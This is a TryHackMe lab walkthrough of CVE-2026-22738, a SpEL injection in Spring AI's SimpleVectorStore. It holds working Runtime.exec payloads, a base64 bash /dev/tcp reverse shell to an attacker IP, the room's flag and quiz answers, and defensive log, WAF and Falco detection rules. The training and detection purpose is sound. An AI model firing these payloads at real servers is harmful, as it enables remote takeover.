# Spring AI: CVE-2026-22738 (TryHackMe)

## Introduction

Spring AI 1.0 shipped in May 2025 as the first stable release of the Java framework designed to simplify the development of LLM-powered applications. By wrapping OpenAI, Ollama, and other model providers behind a consistent API, it made it easy for Java developers to add AI features to existing Spring Boot services. Adoption was fast. By early 2026, Spring AI had become a standard dependency across internal enterprise tools, customer-facing chatbots, and AI-assisted search backends.

CVE-2026-22738, published on 26 March 2026, sits in one of Spring AI's storage components: `SimpleVectorStore`. It is CVSS 9.8 Critical, unauthenticated and requiring no user interaction. An attacker who can reach an exposed API endpoint can achieve full remote code execution on the server, with no credentials and no preparation beyond sending a crafted HTTP request.

## **How a RAG Pipeline Works**

To understand where this vulnerability sits, we need a rough picture of how Spring AI is typically used. In a Retrieval-Augmented Generation (RAG) pipeline, documents are converted into numerical vectors, called embeddings, and stored in a vector store. When a user asks a question, the application searches the vector store for the most relevant documents, then passes those documents alongside the question to the language model to produce a grounded answer.

`SimpleVectorStore` is Spring AI's built-in in-memory vector store. It uses a `ConcurrentHashMap` under the hood and is documented as a component for development and testing. It turns up in production when a prototype never gets migrated to a proper backend, which is more common than the documentation intends.

## **Spring Expression Language**

**Spring Expression Language** (SpEL) is a general-purpose expression engine used throughout the Spring Framework. It powers conditional bean loading in Spring Boot, access-control expressions in Spring Security, and `@Query` annotations in Spring Data JPA. SpEL supports property access, method invocation, and type operations. When evaluated against trusted, internal data it is safe. When user input reaches the evaluator without sanitisation, it becomes a code execution primitive.

We will work through the full attack chain against a deployed Spring Boot RAG application running vulnerable Spring AI 1.0.4: tracing the vulnerable code path, crafting SpEL payloads, catching a reverse shell, then switching perspective to detect and patch the vulnerability.

Along the way, we will cover why the default evaluation context is dangerous, how `StandardEvaluationContext` differs from `SimpleEvaluationContext` at the code level, and what log and process signals to look for when this is being exploited.

## **Prerequisites**

Familiarity with [OS Command Injection](https://tryhackme.com/room/oscommandinjection) and [Server-Side Template Injection](https://tryhackme.com/room/serversidetemplateinjection) helps most here. SSTI in particular shares the same root cause: evaluating user input as code. The [OWASP Top 10 2025](https://tryhackme.com/module/owasp-top-10-2025) is a useful background on injection as a category.

[Spring4Shell](https://tryhackme.com/room/spring4shell) applies to Spring Boot applications, but it is not required.

## Exploring the Vulnerability

`SimpleVectorStore` supports metadata filtering, which lets a caller narrow the candidate documents before similarity ranking. A `SearchRequest` is passed with a `filterExpression` describing which documents to include, for example, `country == 'US'` to restrict results to documents tagged with that metadata value. Internally, this expression is handed to `SimpleVectorStoreFilterExpressionEvaluator`, the class responsible for turning that filter into a JVM-level predicate.

The evaluator builds a SpEL expression string by concatenating the filter key into a template:

Filter Expression Template

```java
// Simplified representation of the evaluator's approach
String spel = "#metadata['" + filterKey + "'] == '" + filterValue + "'";
evaluationContext.evaluate(spel);
```

When `filterKey` is `country`, the expression becomes `#metadata['country'] == 'US'`. That is the intended operation. The problem is not the template structure, it is the evaluation context used to execute the expression.

## **StandardEvaluationContext vs SimpleEvaluationContext**

SpEL has two evaluation contexts that control what an expression is allowed to do:

| **Context** | **What it exposes** | **Appropriate use** |
| --- | --- | --- |
| `StandardEvaluationContext` | Full JVM reflection: method invocation, type loading via `T(...)`, bean access | Internal framework operations with trusted input only |
| `SimpleEvaluationContext` | Read-only property and array access, no type loading | Any expression that touches user-controlled input |

`StandardEvaluationContext` is the framework default. It exposes the `T(ClassName)` operator, which loads an arbitrary Java class at runtime. The classic exploitation form is:

SpEL RCE Payload

```java
T(java.lang.Runtime).getRuntime().exec("id")
```

Flags explained:

*   `T(java.lang.Runtime)`, load the `Runtime` class from the JVM via reflection
    
*   `.getRuntime()`, get the current JVM's `Runtime` instance
    
*   `.exec("id")`, spawn an OS process and return a `Process` object (concretely `ProcessImpl` on standard JVMs)
    

With `StandardEvaluationContext`, any expression that can be written as a string can invoke any method in the JVM. When that string contains user-supplied input, the user controls the program's execution.

## **The T(...) Type Expression**

`T(...)` is SpEL's type operator. It takes a fully qualified class name and returns the class itself, giving access to static methods and fields without any explicit Java reflection boilerplate.

For `java.lang.Runtime`, the static method `getRuntime()` returns the current JVM's runtime instance, and `exec()` on that instance launches an OS process. Beyond `Runtime`, there are other useful targets:

| **Expression** | **Effect** |
| --- | --- |
| `T(java.lang.Thread).sleep(5000)` | Pause the JVM for five seconds, useful for timing-based blind confirmation |
| `T(java.lang.System).getProperty('java.version')` | Read a JVM property, confirms SpEL evaluation without OS interaction |
| `T(java.lang.Runtime).getRuntime().exec(...)` | Spawn an OS process, full RCE |

## **The Attack Surface**

Any Spring AI application that accepts a user-controlled HTTP parameter, places it into a `SearchRequest.filterExpression` key without validation, and calls `SimpleVectorStore.similaritySearch()` with that request is vulnerable. This pattern is common in RAG backends, where users filter documents by metadata such as language, category, or date range. The application developer associates the user's filter selection with the search request without treating it as untrusted input.

## **A Recurring Pattern: CVE-2022-22963**

**CVE-2026-22738** is not the first time a Spring component has shipped `StandardEvaluationContext` as the evaluator for user-supplied input. In 2022, CVE-2022-22963 hit Spring Cloud Function: an HTTP header named [`spring.cloud`](http://spring.cloud)`.function.routing-expression` allowed callers to route requests to functions by name, and that expression was evaluated with `StandardEvaluationContext`. The result was the same: unauthenticated RCE, CVSS 9.8.

The fix in Spring Cloud Function was identical to the fix in Spring AI four years later. Replace `StandardEvaluationContext` with `SimpleEvaluationContext`. The pattern recurs because `StandardEvaluationContext` is the framework default, and developers who reach for SpEL for a new feature do not always consider what happens when the input is untrusted.

Spring4Shell (CVE-2022-22965) is a different class entirely, a data binding gadget that does not involve SpEL. It is worth keeping separate from this pattern.

MITRE ATT&CK maps this attack to **T1190** (Exploit Public-Facing Application) for initial access and **T1059.004** (Unix Shell) for execution via the resulting reverse shell.

### Answer the questions below

1.  What evaluation context does the vulnerable version use to evaluate filter expressions? `StandardEvaluationContext`
    
2.  What SpEL operator loads a Java class by its fully qualified name? `T(...)`
    
3.  What Spring component had the same SpEL injection flaw in 2022? `Spring Cloud Function`
    

### Understanding the Tools

Both scripts are available to download from this task.

Before we touch the machine, it is worth understanding exactly what each tool does. Running a script against a live target without knowing its internals is how things go wrong, and in this case the internals also explain the vulnerability clearly.

## [**exploit.py**](http://exploit.py)

[`exploit.py`](http://exploit.py) runs a four-stage attack chain against the `/search` endpoint. Each stage builds on the last, moving from a passive check to confirmed OS-level code execution.

**Stage 1 (**`step_baseline`**)** sends a normal GET request:

```plaintext
GET /search?filterKey=country&filterValue=US&query=hello
```

This confirms the endpoint is alive and that the application returns a seeded document with a `country: US` metadata field. If Stage 1 fails, there is no point continuing.

**Stage 2 (**`step_spel_probe`**)** injects a read-only SpEL expression into the `filterKey` parameter:

```plaintext
"'] + T(java.lang.System).getProperty('java.version') + #metadata['"
```

This uses `T(java.lang.System)` to read the JVM's `java.version` property. No OS process is spawned here. If the Java version string appears in the response body, or we receive an evaluation error instead of a normal response, both outcomes confirm that our input reached the SpEL evaluator. This is the injection point.

**Stage 3 (**`step_rce_touch`**)** escalates to OS execution using `T(java.lang.Runtime)`. The command is harmless: `touch /tmp/pwned_cve_2026_22738`. We do not need the command's output to come back in the HTTP response. We look for something else instead. When `exec()` returns, SpEL tries to concatenate the resulting `ProcessImpl` object with the surrounding expression using the `ADD` operator. It cannot, so it throws:

```plaintext
EL1030E: The operator 'ADD' is not supported between objects of type 'null' and 'java.lang.ProcessImpl'
```

That error appears in the HTTP response body, and it fires after the process was already spawned. In the script, this is the success check:

```plaintext
RCE_INDICATOR = "EL1030E"
```

Seeing `EL1030E` in the response body is how [`exploit.py`](http://exploit.py) confirms that `Runtime.exec()` was invoked.

**Stage 4 (**`step_rce_id`**)** writes the output of `id`, `uname -a`, and `cat /etc/hostname` to `/tmp/rce_proof.txt`. This gives us three pieces of identifying information about the target without needing an interactive shell.

The core payload builder used in Stages 3 and 4 is:

```python
def spel_filter_key(cmd: str) -> str:
    return (
        f'''"'] + T(java.lang.Runtime).getRuntime().exec('''
        f'''new String[]{{'/bin/bash','-c','{cmd}'}}) + #metadata['"'''
    )
```

The outer double quotes are not decoration. When `filterKey` starts with a single quote, the filter text parser treats it as a quoted string literal and strips the surrounding quotes before constructing the SpEL expression, which mangles the payload. Wrapping in double quotes causes the parser to strip those instead, leaving the inner single-quoted content to be embedded verbatim into the SpEL template. The evaluator then sees a valid expression with our command in it.

Attacker Terminal

```shell-session
python3 exploit.py --target http://MACHINE_IP:8082
python3 exploit.py --target http://MACHINE_IP:8082 --wait
```

Flags explained:

*   `--target`, base URL of the vulnerable application
    
*   `--wait`, poll `/search` until the app responds before running the exploit stages
    

## [**listener.py**](http://listener.py)

[`listener.py`](http://listener.py) handles the reverse shell. It has two modes.

In **listener-only mode**, it binds a TCP socket and waits for an incoming connection. Once a shell connects, it enters an interactive loop that forwards your stdin to the socket and prints everything the shell sends back.

In `--exploit` **mode**, it starts the listener first, then fires the SpEL reverse shell payload in a background thread. Starting the listener before firing the payload matters: the target machine connects back almost immediately, and if the socket is not ready, it misses the connection.

The reverse shell payload has a character conflict problem. The raw bash command, `bash -i >& /dev/tcp/IP/PORT 0>&1`, contains `>&` and `/` characters that break the filter parser if passed as plain text inside single quotes. The script avoids this by base64-encoding the entire shell command first:

```plaintext
def build_revshell_payload(lhost: str, lport: int) -> str:
    bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    b64 = base64.b64encode(bash_cmd.encode()).decode()
    cmd = f"echo {b64}|base64 -d|bash"
    return spel_filter_key(cmd)
```

The encoded payload decodes and executes cleanly inside the SpEL expression without any single-quote conflicts reaching the parser.

When a shell connects, `listener.py` automatically sends `whoami`, `id`, and a hostname/IP command to identify the execution context. We see the answers without typing anything.

```plaintext
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082
```

Flags explained:

*   `--lhost`, the IP the target can reach us on (our THM VPN IP, visible via `ip a` on the `tun0` interface)
    
*   `--lport`, the port to listen on
    
*   `--exploit`, build and fire the SpEL payload after starting the listener
    
*   `--target`, the vulnerable application URL
    

## **How They Fit Together**

[`exploit.py`](http://exploit.py) is the confirmation tool. We run it first to walk through Stages 1- 4 and verify RCE without committing to an interactive shell. It leaves a file on disk and writes system information to `/tmp/rce_proof.txt`. Once we know the injection works, we move to [`listener.py`](http://listener.py) to catch the reverse shell and interact with the server directly.

### Answer the questions below

1.  What string in the HTTP response confirms that `exec()` fired? `EL1030E`
    
2.  What file does Stage 3 create on the target? `/tmp/pwned_cve_2026_22738`
    
3.  What flag makes [listener.py](http://listener.py) fire the payload and listen in one command? `--exploit`
    

## Exploiting CVE-2026-22738

## **Stage 1: Baseline Check**

Before injecting anything, we confirm the endpoint behaves as expected. Using **curl**, a normal request with `filterKey=country` and `filterValue=US` should return a seeded document:

Baseline Check

```shell-session
curl "http://MACHINE_IP:8082/search?filterKey=country&filterValue=US&query=hello"
```

A successful response returns a JSON document with a `country: US` metadata field. If the application is not ready yet, wait a few seconds and retry, or use [`exploit.py`](http://exploit.py) with the `--wait` flag which polls the endpoint before proceeding:

Attacker Terminal

```shell-session
python3 exploit.py --target http://MACHINE_IP:8082 --wait
```

Flags explained:

*   `--target`, base URL of the vulnerable application
    
*   `--wait`, poll `/search` until the app responds before running the exploit stages
    

## **Stage 2: Blind SpEL Probe**

Before triggering OS execution, we confirm that our input reaches the SpEL evaluator. [`exploit.py`](http://exploit.py) sends a read-only probe using `T(java.lang.System).getProperty('java.version')` as the `filterKey`. No process is spawned. A Java version string in the response body, or any SpEL evaluation error, confirms the injection point is live.

The double-quote wrapping we examined in Task 3 is what makes the payload reach the evaluator intact. [`exploit.py`](http://exploit.py) handles parameter encoding automatically at this stage.

## **Stage 3: RCE Confirmation**

With SpEL evaluation confirmed, [`exploit.py`](http://exploit.py) escalates to OS execution using the payload structure we examined in Task 3: `T(java.lang.Runtime).getRuntime().exec()` with `touch /tmp/pwned_cve_2026_22738` as the command. We look for `EL1030E` in the HTTP response. That error fires after `exec()` returns, confirming the process was spawned even though we have no in-band command output.

Run the full four-stage chain:

Attacker Terminal

```shell-session
python3 exploit.py --target http://MACHINE_IP:8082
```

Stage 3 prints a confirmation line when `EL1030E` appears in the response. Stage 4 writes `id`, `uname -a`, and the hostname to `/tmp/rce_proof.txt` on the target.

## **Stage 4: Reverse Shell**

Now we catch an interactive shell. [`listener.py`](http://listener.py) in `--exploit` mode starts the listener first, then fires the reverse shell payload in a background thread, so the socket is ready before the shell connects. The payload is base64-encoded to avoid single-quote conflicts with the filter parser, as covered in Task 3.

Attacker Terminal

```shell-session
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082
```

Flags explained:

*   `--lhost`, the IP our machine is reachable on from the target (our THM VPN IP, visible via `ip a` on the `tun0` interface)
    
*   `--lport`, the port to listen on
    
*   `--exploit`, build and fire the SpEL payload after starting the listener
    
*   `--target`, the vulnerable application URL
    

When the shell connects, [`listener.py`](http://listener.py) automatically runs `whoami`, `id`, and a hostname/IP command. The application runs as `root`, so the flag is immediately readable:

Attacker Terminal

```shell-session
cat /root/flag.txt
```

## Answer the questions below

### What port is the vulnerable application running on? `8082`

```shell
nmap -sV -p- IP_Address

PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8082/tcp open  blackice-alerts?
```

### What user is the application running as? `root`

### What is the flag at `/root/flag.txt`?

```shell
gobuster dir -u http://IP_Address:8082 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/error                (Status: 500) [Size: 73]
/search               (Status: 400) [Size: 97]
```

```shell
curl http://IP_Address:8082
{"timestamp":"2026-04-02T19:58:54.726+00:00","status":404,"error":"Not Found","path":"/"}root@ip-10-49-78-190:~# curl http://IP_Address:8082/
{"timestamp":"2026-04-02T19:59:07.572+00:00","status":404,"error":"Not Found","path":"/"}
```

```shell
curl "http://IP_Address:8082/search?filterKey=country&filterValue=US&query=hello"
[{"id":"5b8b381c-f998-4c99-87e8-75a6610e4e57","text":"Hello world \u2014 this is the seeded test document for the CVE-2026-22738 lab.","media":null,"metadata":{"distance":0.0,"country":"US","year":2025},"score":1.0}]
```

```shell
 curl "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec('touch%20/tmp/pwned_cve_2026_22738')&filterValue=test&query=hello"
{"timestamp":"2026-04-02T20:02:19.029+00:00","status":500,"error":"Internal Server Error","path":"/search"}
root@ip-IP_Address:~# echo 'bash -i >& /dev/tcp/Attack_IP/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==
```

failed

```shell
curl "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]{%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22})&filterValue=test&query=hello"

[1/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22/bin/bash%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22/bin/bash%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
[2/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22-c%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22-c%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
[3/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
```

```shell
curl -g "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]{%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg%3D%3D+|+base64+-d+|+bash%22})&filterValue=test&query=hello"

<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
```

```shell
curl -g "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String%5B%5D%7B%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg%3D%3D+|+base64+-d+|+bash%22%7D)&filterValue=test&query=hello"
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>root@ip-10-49-78-190:~# curl -g -G "http://IP_Address:8082/search" \
>   --data-urlencode 'filterKey=T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg== | base64 -d | bash"})' \
>   --data-urlencode 'filterValue=test' \
>   --data-urlencode 'query=hello'
{"timestamp":"2026-04-02T20:08:26.946+00:00","status":500,"error":"Internal Server Error","path":"/search"}
```

```shell
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 36690
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9836cd90535c:/app# pwd
pwd
/app
root@9836cd90535c:/app# ls -la /app
ls -la /app
total 28720
drwxr-xr-x 1 root root     4096 Apr  1 18:01 .
drwxr-xr-x 1 root root     4096 Apr  1 18:02 ..
-rw-r--r-- 1 root root 29399794 Apr  1 18:01 app.jar
root@9836cd90535c:/app# ls -la
ls -la
total 28720
drwxr-xr-x 1 root root     4096 Apr  1 18:01 .
drwxr-xr-x 1 root root     4096 Apr  1 18:02 ..
-rw-r--r-- 1 root root 29399794 Apr  1 18:01 app.jar
root@9836cd90535c:/app# find / -type f -name root.txt 2>/dev/null
find / -type f -name root.txt 2>/dev/null
/root/root.txt
root@9836cd90535c:/app# cat /root/root.txt
cat /root/root.txt
THM{sp3l_1nj3ct10n_m3ans_spr1ng_AI_g0es_brrr}
```

*   All steps matter. This is the last for the reverse shell  
    

```shell
curl -g -G "http://IP_Address:8082/search" \
  --data-urlencode "filterKey=\"'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==|base64 -d|bash'}) + #metadata['\"" \
  --data-urlencode 'filterValue=test' \
  --data-urlencode 'query=hello'
```

### Detecting and Patching

Switching perspective: if this application were running in production and an attacker exploited CVE\-2026-22738, what would we see, and what would we do about it?

## **Application Log Signatures**

When a SpEL payload triggers the `EL1030E` error, the application logs a Java exception. The stack trace includes two strings that are reliable indicators of exploitation attempts:

Application Log

```plaintext
org.springframework.expression.spel.SpelEvaluationException: EL1030E:
  The operator 'ADD' is not supported between objects of type
  'null' and 'java.lang.ProcessImpl'
    at org.springframework.ai.vectorstore.SimpleVectorStoreFilterExpressionEvaluator.evaluate(...)
```

`SpelEvaluationException` in the stack trace of a vector store component is not a normal application error. A log aggregation pipeline, whether Splunk, Elasticsearch, or CloudWatch, should alert when both `SpelEvaluationException` and `SimpleVectorStoreFilterExpressionEvaluator` appear together in the same stack trace. That combination is not a path the application reaches through normal use.

Note that this signature only appears when the ADD operation fails after `exec()` returns. A payload that avoids triggering that error path produces no log entry, which is why process-level monitoring (covered below) is the more reliable backstop.

## **HTTP Request Indicators**

The SpEL payload travels as a query parameter in a GET request. A WAF or API gateway inspecting incoming requests should alert when the `filterKey` parameter contains`T(java.` (the SpEL type operator), `getRuntime`, `.exec(` (narrowed to avoid false positives on field names like `executorId`), or `ProcessBuilder`.

A regex pattern covering the type operator:

```plaintext
T\s*\(java\.lang\.(Runtime|ProcessBuilder)
```

There is a critical caveat with this regex. SpEL is whitespace-tolerant. The expressions `T(java.lang.Runtime)` and `T ( java.lang.Runtime )` are identical to the evaluator. A WAF rule that does a simple substring match on `T(java.lang.Runtime)` can be bypassed by inserting spaces. Effective detection must normalise or strip whitespace before matching, or use a pattern that allows optional whitespace between `T`, `(`, and the class name.

## **JVM Child-Process Monitoring**

A Spring Boot application serving HTTP requests has no legitimate reason to spawn a `bash`, `sh`, or `curl` child process. OS-level process monitoring catches the reverse shell even when the HTTP payload is obfuscated beyond WAF detection.

A **Falco** rule that covers this:

Falco Rule

```yaml

- rule: Java process spawns shell
  desc: A Java process spawned a shell, possible SpEL injection exploitation
  condition: >
    spawned_process and
    proc.pname = "java" and
    proc.name in (bash, sh, dash, curl, wget)
  output: >
    Shell spawned by Java process
    (pid=%proc.pid command=%proc.cmdline parent=%proc.pname)
  priority: CRITICAL
```

Equivalent coverage is available with `auditd` by watching `execve` syscalls from processes whose parent is a JVM. Either approach catches the shell spawn regardless of how the payload was delivered.

## **Patching**

The fix in Spring AI 1.0.5 and 1.1.4 is a single-line change in `SimpleVectorStoreFilterExpressionEvaluator`. The dangerous context is replaced with a restricted one:

Patch Diff

```java
// Before: Spring AI 1.0.4 and earlier
EvaluationContext ctx = new StandardEvaluationContext();

// After: Spring AI 1.0.5
EvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
```

`SimpleEvaluationContext.forReadOnlyDataBinding()` disables the `T(...)` operator entirely. No payload variation can load a Java class when the context does not support it, so the entire vulnerability class is closed with a one-line change.

To apply the patch, update the `spring-ai-core` dependency version in `pom.xml` or `build.gradle`:

Maven Dependency Update

```xml
<dependency>
    <groupId>org.springframework.ai</groupId>
    <artifactId>spring-ai-core</artifactId>
    <version>1.0.5</version>
</dependency>
```

## **Temporary Mitigation**

If upgrading immediately is not possible, an input validation layer can block the most obvious payloads. Reject any `filterKey` value containing`T(`, `getRuntime`, or `exec`. An attacker familiar with SpEL internals may find alternative execution paths not covered by a keyword blocklist, so treat this as a stopgap. The only complete solution is to upgrade to 1.0.5 or 1.1.4.

### Answer the questions below

1.  What Java exception class appears in the stack trace during exploitation? `SpelEvaluationException`
    
2.  What Spring AI version fixes CVE-2026-22738 for the 1.0.x branch? `1.0.5`
    
3.  What evaluation context does the patched version use? `SimpleEvaluationContext`
    

### Conclusion

CVE\-2026-22738 follows a direct path: user input arrives in an HTTP query parameter, flows into a SpEL template without sanitisation, and reaches `StandardEvaluationContext`, which treats it as a trusted expression and executes whatever it contains. A single `T(java.lang.Runtime).getRuntime().exec()` call later, the attacker has a shell. Changing a single line in a single class closes the vulnerability entirely.

The wider point is that expression language injection is a pattern, not a one-off. SpEL, OGNL, and Java EL all share the same root cause: user input is passed to an expression evaluator configured for trusted data. Template engines like FreeMarker and Jinja2 reach the same outcome via a different mechanism, SSTI, where the template itself is attacker-controlled rather than the evaluator context. CVE-2022-22963 used the same technique against Spring Cloud Function four years earlier. The Spring component and entry point changed, but the vulnerability class persisted because `StandardEvaluationContext` remained the default.

## **Next Rooms**

*   [Spring4Shell](https://tryhackme.com/room/spring4shell), a different Spring RCE class using a data binding gadget rather than SpEL injection, showing how the same framework can fail in different ways
    
*   [Server-Side Template Injection](https://tryhackme.com/room/serversidetemplateinjection), the related class of injection where user input controls the template itself rather than the evaluator context
    
*   [OWASP Top 10 2025](https://tryhackme.com/module/owasp-top-10-2025), the broader injection category this vulnerability falls under
